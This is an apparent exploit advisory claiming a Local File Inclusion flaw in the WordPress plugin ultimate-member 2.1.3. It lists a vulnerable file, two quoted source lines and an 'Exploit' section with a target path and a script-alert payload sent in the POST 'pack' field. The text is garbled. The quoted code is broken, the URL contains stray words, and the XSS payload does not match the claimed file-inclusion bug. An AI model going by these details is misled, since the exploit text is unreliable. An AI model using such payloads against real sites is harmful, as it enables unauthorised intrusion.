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[-] Title : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion  
[-] Author : mehran feizi  
[-] Category : Webapps  
[-] Date : 2020-02-11  
[-] vendor home page: https://wordpress.org/plugins/ultimate-member/  
  
Vulnerable Page:  
/class-admin-upgrade.php  
  
  
Vulnerable Source:  
354: if(empty($_POST['pack'])) else  
356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR .  
$_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php';  
  
  
Exploit:  
localhost/wp-content/plugins/worprees plugin bug  
dar/ultimate-member/includes/admin/core/class-admin-upgrade.php  
$_POST('pack')=<script>alert('xss')</script>